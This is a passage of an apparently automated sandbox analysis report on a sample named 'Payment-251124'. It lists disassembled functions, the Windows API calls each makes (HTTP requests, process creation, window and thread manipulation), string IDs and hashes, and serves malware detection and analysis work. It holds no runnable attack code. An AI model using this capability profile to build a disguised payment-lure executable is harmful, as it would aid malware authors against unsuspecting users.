                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$CtrlParent
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 1383977212-1403004172
                                                        • Opcode ID: a3ea043840d25b2cc9846e7fd147f65bff603a08a7af2eaa42a7a5bc7816c3e9
                                                        • Instruction ID: 60d96975f6e701aa63b2f5aedefadbf8db15cb1e1ef7bb1ac86c60b8063ac5e9
                                                        • Opcode Fuzzy Hash: a3ea043840d25b2cc9846e7fd147f65bff603a08a7af2eaa42a7a5bc7816c3e9
                                                        • Instruction Fuzzy Hash: F821C874A0010CBFDB04ABA4CC95EFEBBB5EF5A310F104119FA55A72D1DBB55816EB20
                                                        Function 00EFB9F0 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 80windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SendMessageW.USER32(?,00000186,00000002,00000000), ref: 00EFBA73
                                                        • GetDlgCtrlID.USER32 ref: 00EFBA7E
                                                        • GetParent.USER32 ref: 00EFBA9A
                                                        • SendMessageW.USER32(00000000,?,00000111,?), ref: 00EFBA9D
                                                        • GetDlgCtrlID.USER32(?), ref: 00EFBAA6
                                                        • GetParent.USER32(?), ref: 00EFBAC2
                                                        • SendMessageW.USER32(00000000,?,?,00000111), ref: 00EFBAC5
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: MessageSend$CtrlParent
                                                        • String ID: ComboBox$ListBox
                                                        • API String ID: 1383977212-1403004172
                                                        • Opcode ID: 3966aacda7c72bf141dcf5de4f9420e86eb16db84bcfc985056d3eb44e9c1038
                                                        • Instruction ID: c8488d53e38826de0326aec65edca021db871af2d83b3b30a6429591c617c8e1
                                                        • Opcode Fuzzy Hash: 3966aacda7c72bf141dcf5de4f9420e86eb16db84bcfc985056d3eb44e9c1038
                                                        • Instruction Fuzzy Hash: CC21C5B4A0010CBFDB01AFA4CC85FFEBBB9EF59300F144019FA55A3291DB759916AB20
                                                        Function 00EFBAD7 Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 71windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetParent.USER32 ref: 00EFBAE3
                                                        • GetClassNameW.USER32(00000000,?,00000100), ref: 00EFBAF8
                                                        • _wcscmp.LIBCMT ref: 00EFBB0A
                                                        • SendMessageW.USER32(00000000,00000111,0000702B,00000000), ref: 00EFBB85
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ClassMessageNameParentSend_wcscmp
                                                        • String ID: SHELLDLL_DefView$details$largeicons$list$smallicons
                                                        • API String ID: 1704125052-3381328864
                                                        • Opcode ID: 21b7eda953b679638b51a2e0497d816b31ab80b3712852e0e71a85cd63a5ba51
                                                        • Instruction ID: aca0aa4c20fa47c3f48e8d98a3fa274648698aa5dba3b69bfc5cf3db8c4e2fdd
                                                        • Opcode Fuzzy Hash: 21b7eda953b679638b51a2e0497d816b31ab80b3712852e0e71a85cd63a5ba51
                                                        • Instruction Fuzzy Hash: 6011297A70834FF9FA206635DC07DB637ACDB21324B205022FA08F40D5FFA5E851A515
                                                        Function 00F1B2A9 Relevance: 15.3, APIs: 10, Instructions: 324fileCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • VariantInit.OLEAUT32(?), ref: 00F1B2D5
                                                        • CoInitialize.OLE32(00000000), ref: 00F1B302
                                                        • CoUninitialize.OLE32 ref: 00F1B30C
                                                        • GetRunningObjectTable.OLE32(00000000,?), ref: 00F1B40C
                                                        • SetErrorMode.KERNEL32(00000001,00000029), ref: 00F1B539
                                                        • CoGetInstanceFromFile.OLE32(00000000,?,00000000,00000015,00000002), ref: 00F1B56D
                                                        • CoGetObject.OLE32(?,00000000,00F4D91C,?), ref: 00F1B590
                                                        • SetErrorMode.KERNEL32(00000000), ref: 00F1B5A3
                                                        • SetErrorMode.KERNEL32(00000000,00000000,00000000,00000000,00000000), ref: 00F1B623
                                                        • VariantClear.OLEAUT32(00F4D91C), ref: 00F1B633
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ErrorMode$ObjectVariant$ClearFileFromInitInitializeInstanceRunningTableUninitialize
                                                        • String ID:
                                                        • API String ID: 2395222682-0
                                                        • Opcode ID: 4284f5a87bca566932890a964214433a66e5348e1f039b89d55985f8aa4bb5c5
                                                        • Instruction ID: e448898b77d377cf097392560d43383b63beadac27bd213a81029af19cd8045c
                                                        • Opcode Fuzzy Hash: 4284f5a87bca566932890a964214433a66e5348e1f039b89d55985f8aa4bb5c5
                                                        • Instruction Fuzzy Hash: 56C12371608305EFC700DF68C884A6ABBE9BF89304F04495DF98ADB261DB71ED46DB52
                                                        Function 00EEACB3 Relevance: 15.2, APIs: 10, Instructions: 219COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __lock.LIBCMT ref: 00EEACC1
                                                          • Part of subcall function 00EE7CF4: __mtinitlocknum.LIBCMT ref: 00EE7D06
                                                          • Part of subcall function 00EE7CF4: EnterCriticalSection.KERNEL32(00000000,?,00EE7ADD,0000000D), ref: 00EE7D1F
                                                        • __calloc_crt.LIBCMT ref: 00EEACD2
                                                          • Part of subcall function 00EE6986: __calloc_impl.LIBCMT ref: 00EE6995
                                                          • Part of subcall function 00EE6986: Sleep.KERNEL32(00000000,000003BC,00EDF507,?,0000000E), ref: 00EE69AC
                                                        • @_EH4_CallFilterFunc@8.LIBCMT ref: 00EEACED
                                                        • GetStartupInfoW.KERNEL32(?,00F76E28,00000064,00EE5E91,00F76C70,00000014), ref: 00EEAD46
                                                        • __calloc_crt.LIBCMT ref: 00EEAD91
                                                        • GetFileType.KERNEL32(00000001), ref: 00EEADD8
                                                        • InitializeCriticalSectionAndSpinCount.KERNEL32(0000000D,00000FA0), ref: 00EEAE11
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: CriticalSection__calloc_crt$CallCountEnterFileFilterFunc@8InfoInitializeSleepSpinStartupType__calloc_impl__lock__mtinitlocknum
                                                        • String ID:
                                                        • API String ID: 1426640281-0
                                                        • Opcode ID: 00190b644b5c8671a028ab5b290c984fc5bdd73d92e750c36b5a81355440185e
                                                        • Instruction ID: aff07e44610c29b16572af9e3147a61240b5170fbb1621e531ed45980e8f0a02
                                                        • Opcode Fuzzy Hash: 00190b644b5c8671a028ab5b290c984fc5bdd73d92e750c36b5a81355440185e
                                                        • Instruction Fuzzy Hash: E181177190178D8FDB24CF69C8805ADBBF0AF15324B28526DD4A6BB3E1C734A843DB52
                                                        Function 00F067E9 Relevance: 15.1, APIs: 10, Instructions: 107windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • __swprintf.LIBCMT ref: 00F067FD
                                                        • __swprintf.LIBCMT ref: 00F0680A
                                                          • Part of subcall function 00EE172B: __woutput_l.LIBCMT ref: 00EE1784
                                                        • FindResourceW.KERNEL32(?,?,0000000E), ref: 00F06834
                                                        • LoadResource.KERNEL32(?,00000000), ref: 00F06840
                                                        • LockResource.KERNEL32(00000000), ref: 00F0684D
                                                        • FindResourceW.KERNEL32(?,?,00000003), ref: 00F0686D
                                                        • LoadResource.KERNEL32(?,00000000), ref: 00F0687F
                                                        • SizeofResource.KERNEL32(?,00000000), ref: 00F0688E
                                                        • LockResource.KERNEL32(?), ref: 00F0689A
                                                        • CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00F068F9
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
                                                        • String ID:
                                                        • API String ID: 1433390588-0
                                                        • Opcode ID: db9b5dc6bbf326bfcddac1e80f4af8947fde3e0a7c24d026cfdedbd6272f4dea
                                                        • Instruction ID: 0af2d66fe54ac2755183a684128627158a8d34d77d8456e44fc1b88af7309cad
                                                        • Opcode Fuzzy Hash: db9b5dc6bbf326bfcddac1e80f4af8947fde3e0a7c24d026cfdedbd6272f4dea
                                                        • Instruction Fuzzy Hash: EC316EB5A0025AABDB119F61DD49ABE7BACFF09350F048425F902E2190E774DA61FB60
                                                        Function 00F04025 Relevance: 15.1, APIs: 10, Instructions: 88threadCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetCurrentThreadId.KERNEL32 ref: 00F04047
                                                        • GetForegroundWindow.USER32(00000000,?,?,?,?,?,00F030A5,?,00000001), ref: 00F0405B
                                                        • GetWindowThreadProcessId.USER32(00000000), ref: 00F04062
                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F030A5,?,00000001), ref: 00F04071
                                                        • GetWindowThreadProcessId.USER32(?,00000000), ref: 00F04083
                                                        • AttachThreadInput.USER32(?,00000000,00000001,?,?,?,?,?,00F030A5,?,00000001), ref: 00F0409C
                                                        • AttachThreadInput.USER32(00000000,00000000,00000001,?,?,?,?,?,00F030A5,?,00000001), ref: 00F040AE
                                                        • AttachThreadInput.USER32(00000000,00000000,?,?,?,?,?,00F030A5,?,00000001), ref: 00F040F3
                                                        • AttachThreadInput.USER32(?,?,00000000,?,?,?,?,?,00F030A5,?,00000001), ref: 00F04108
                                                        • AttachThreadInput.USER32(00000000,?,00000000,?,?,?,?,?,00F030A5,?,00000001), ref: 00F04113
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Thread$AttachInput$Window$Process$CurrentForeground
                                                        • String ID:
                                                        • API String ID: 2156557900-0
                                                        • Opcode ID: 3c20042fd2d36bfbfc5bcbb15d8d217f8ca2f36cc39da6f66b930bc984146dd3
                                                        • Instruction ID: 236395b7609ec5284477f94f0f30341d7564faf18b8faad3c3c3a04a8949cfc5
                                                        • Opcode Fuzzy Hash: 3c20042fd2d36bfbfc5bcbb15d8d217f8ca2f36cc39da6f66b930bc984146dd3
                                                        • Instruction Fuzzy Hash: E73193B5900208BFDB11DF54DC45BB977A9BBA6721F118105FE05E62E0CBB4A980BF64
                                                        Function 00F3DD4A Relevance: 15.1, APIs: 10, Instructions: 59windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetSysColor.USER32(00000008), ref: 00EDB496
                                                        • SetTextColor.GDI32(?,000000FF), ref: 00EDB4A0
                                                        • SetBkMode.GDI32(?,00000001), ref: 00EDB4B5
                                                        • GetStockObject.GDI32(00000005), ref: 00EDB4BD
                                                        • GetClientRect.USER32(?), ref: 00F3DD63
                                                        • SendMessageW.USER32(?,00001328,00000000,?), ref: 00F3DD7A
                                                        • GetWindowDC.USER32(?), ref: 00F3DD86
                                                        • GetPixel.GDI32(00000000,?,?), ref: 00F3DD95
                                                        • ReleaseDC.USER32(?,00000000), ref: 00F3DDA7
                                                        • GetSysColor.USER32(00000005), ref: 00F3DDC5
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Color$ClientMessageModeObjectPixelRectReleaseSendStockTextWindow
                                                        • String ID:
                                                        • API String ID: 3430376129-0
                                                        • Opcode ID: 139e785cba956b24c9c8d875b0585899b5495335e3a2401aa4cce95769dc935a
                                                        • Instruction ID: a8f028d8bf41e9020fba00f8f68ce8a2a203d0f50f3ed3fafef6cf5523ff4280
                                                        • Opcode Fuzzy Hash: 139e785cba956b24c9c8d875b0585899b5495335e3a2401aa4cce95769dc935a
                                                        • Instruction Fuzzy Hash: CB118135500209EFDB116FA4EC08BE93B65EB56335F118221FE66A51E1DB310942FF10
                                                        Function 00EFCB82 Relevance: 14.2, APIs: 2, Strings: 6, Instructions: 239COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • EnumChildWindows.USER32(?,00EFCF50), ref: 00EFCE90
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: ChildEnumWindows
                                                        • String ID: CLASS$CLASSNN$INSTANCE$NAME$REGEXPCLASS$TEXT
                                                        • API String ID: 3555792229-1603158881
                                                        • Opcode ID: 29b20715afe07c4edf36499ce4e02611913851fbab5c6e1046a05129df974548
                                                        • Instruction ID: 4bcd599c7e51ed253777283c9b1906794fee7482db465399ee580c2996549a88
                                                        • Opcode Fuzzy Hash: 29b20715afe07c4edf36499ce4e02611913851fbab5c6e1046a05129df974548
                                                        • Instruction Fuzzy Hash: CA91A230A0014E9ACB18EF60C681BFAFBB5FF44304F70A55AD649B7241DF31699ADB90
                                                        Function 00EC3093 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 210COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • mciSendStringW.WINMM(close all,00000000,00000000,00000000), ref: 00EC30DC
                                                        • CoUninitialize.OLE32(?,00000000), ref: 00EC3181
                                                        • UnregisterHotKey.USER32(?), ref: 00EC32A9
                                                        • DestroyWindow.USER32(?), ref: 00F35079
                                                        • FreeLibrary.KERNEL32(?), ref: 00F350F8
                                                        • VirtualFree.KERNEL32(?,00000000,00008000), ref: 00F35125
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Free$DestroyLibrarySendStringUninitializeUnregisterVirtualWindow
                                                        • String ID: close all
                                                        • API String ID: 469580280-3243417748
                                                        • Opcode ID: 7afe19fa050120a127a4a6e3d8f935c1135851b637ec36cdbd26747d16f24bd6
                                                        • Instruction ID: ffd83f29e00f4059bc4ca6c1c0e9a05578e354ac3f66c69bcece82a8fd6e7911
                                                        • Opcode Fuzzy Hash: 7afe19fa050120a127a4a6e3d8f935c1135851b637ec36cdbd26747d16f24bd6
                                                        • Instruction Fuzzy Hash: 939127746002028FC719EF24CA95FA8F3E4BF14714F5492ADE40AA7262DB32AE57DF50
                                                        Function 00EDCB8D Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 185windowCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • SetWindowLongW.USER32(?,000000EB), ref: 00EDCC15
                                                          • Part of subcall function 00EDCCCD: GetClientRect.USER32(?,?), ref: 00EDCCF6
                                                          • Part of subcall function 00EDCCCD: GetWindowRect.USER32(?,?), ref: 00EDCD37
                                                          • Part of subcall function 00EDCCCD: ScreenToClient.USER32(?,?), ref: 00EDCD5F
                                                        • GetDC.USER32 ref: 00F3D137
                                                        • SendMessageW.USER32(?,00000031,00000000,00000000), ref: 00F3D14A
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00F3D158
                                                        • SelectObject.GDI32(00000000,00000000), ref: 00F3D16D
                                                        • ReleaseDC.USER32(?,00000000), ref: 00F3D175
                                                        • MoveWindow.USER32(?,?,?,?,?,?,?,00000031,00000000,00000000), ref: 00F3D200
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Window$ClientObjectRectSelect$LongMessageMoveReleaseScreenSend
                                                        • String ID: U
                                                        • API String ID: 4009187628-3372436214
                                                        • Opcode ID: b690d6fc4f82984220395902ab8f2873651ec0bc8faa1e7b11a2498f5f936dc2
                                                        • Instruction ID: be3faf28f2713a1279b73c5fec0adf457b868dc7e65f23f8f7bbff6417ef038b
                                                        • Opcode Fuzzy Hash: b690d6fc4f82984220395902ab8f2873651ec0bc8faa1e7b11a2498f5f936dc2
                                                        • Instruction Fuzzy Hash: DC71E131800209DFDF25EF64DC81AEA7BB5FF48374F24426AED556A2A6D731C842EB50
                                                        Function 00F145C4 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 133networkCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • InternetConnectW.WININET(?,?,?,?,?,?,00000000,00000000), ref: 00F145FF
                                                        • HttpOpenRequestW.WININET(00000000,00000000,?,00000000,00000000,00000000,?,00000000), ref: 00F1462B
                                                        • InternetQueryOptionW.WININET(00000000,0000001F,00000000,?), ref: 00F1466D
                                                        • InternetSetOptionW.WININET(00000000,0000001F,00000100,00000004), ref: 00F14682
                                                        • HttpSendRequestW.WININET(00000000,00000000,00000000,00000000,00000000), ref: 00F1468F
                                                        • HttpQueryInfoW.WININET(00000000,00000005,?,?,00000000), ref: 00F146BF
                                                        • InternetCloseHandle.WININET(00000000), ref: 00F14706
                                                          • Part of subcall function 00F15052: GetLastError.KERNEL32(?,?,00F143CC,00000000,00000000,00000001), ref: 00F15067
                                                        Strings
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Internet$Http$OptionQueryRequest$CloseConnectErrorHandleInfoLastOpenSend
                                                        • String ID:
                                                        • API String ID: 1241431887-3916222277
                                                        • Opcode ID: ef941778afa8c29c50a5af396a3a2543f522ce47a9151f11951977a0fddcf6ba
                                                        • Instruction ID: 13e6edb767790a08f5ea73702208ff9a6887f7c9f69ffa9188971e340d5a2ae2
                                                        • Opcode Fuzzy Hash: ef941778afa8c29c50a5af396a3a2543f522ce47a9151f11951977a0fddcf6ba
                                                        • Instruction Fuzzy Hash: 2B4181B5901209BFEB059F90CC85FFB7BACFF49758F004016FA059A181D7B4AD84ABA4
                                                        Function 00F1B644 Relevance: 13.9, APIs: 9, Instructions: 432COMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • GetModuleFileNameW.KERNEL32(?,?,00000104,?,00F5DC00), ref: 00F1B715
                                                        • FreeLibrary.KERNEL32(00000000,00000001,00000000,?,00F5DC00), ref: 00F1B749
                                                        • QueryPathOfRegTypeLib.OLEAUT32(?,?,?,?,?), ref: 00F1B8C1
                                                        • SysFreeString.OLEAUT32(?), ref: 00F1B8EB
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        Joe Sandbox IDA Plugin
                                                        • Snapshot File: hcaresult_0_2_ec0000_Payment-251124.jbxd
                                                        Similarity
                                                        • API ID: Free$FileLibraryModuleNamePathQueryStringType
                                                        • String ID:
                                                        • API String ID: 560350794-0
                                                        • Opcode ID: cdc9cf597a68be46f251662d8121fae7c280a4f29b47ba4b2e11595e92cc72a8
                                                        • Instruction ID: 47b42fbd39b77545ec021f0b17e51f630a4cb769523df2daea05724fd5369a75
                                                        • Opcode Fuzzy Hash: cdc9cf597a68be46f251662d8121fae7c280a4f29b47ba4b2e11595e92cc72a8
                                                        • Instruction Fuzzy Hash: 04F11A75A00209EFCB04DF94C894EEEB7B9FF49715F108498F905AB250DB35AE86DB50
                                                        Function 00F224D4 Relevance: 13.9, APIs: 9, Instructions: 376processCOMMON
                                                        Download Yara Rule
                                                        APIs
                                                        • _memset.LIBCMT ref: 00F224F5
                                                        • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F22688
                                                        • GetSystemDirectoryW.KERNEL32(00000000,00000000), ref: 00F226AC
                                                        • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F226EC
                                                        • GetCurrentDirectoryW.KERNEL32(00000000,00000000), ref: 00F2270E
                                                        • CreateProcessW.KERNEL32(00000000,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00F2286F
                                                        • GetLastError.KERNEL32(00000000,00000001,00000000), ref: 00F228A1
                                                        • CloseHandle.KERNEL32(?), ref: 00F228D0
                                                        • CloseHandle.KERNEL32(?), ref: 00F22947
                                                        Memory Dump Source
                                                        • Source File: 00000000.00000002.1715264099.0000000000EC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00EC0000, based on PE: true
                                                        • Associated: 00000000.00000002.1715244573.0000000000EC0000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F4D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715311460.0000000000F6E000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715350203.0000000000F7A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                        • Associated: 00000000.00000002.1715368709.0000000000F84000.00000002.00000001.01000000.00000003.sdmpDownload File
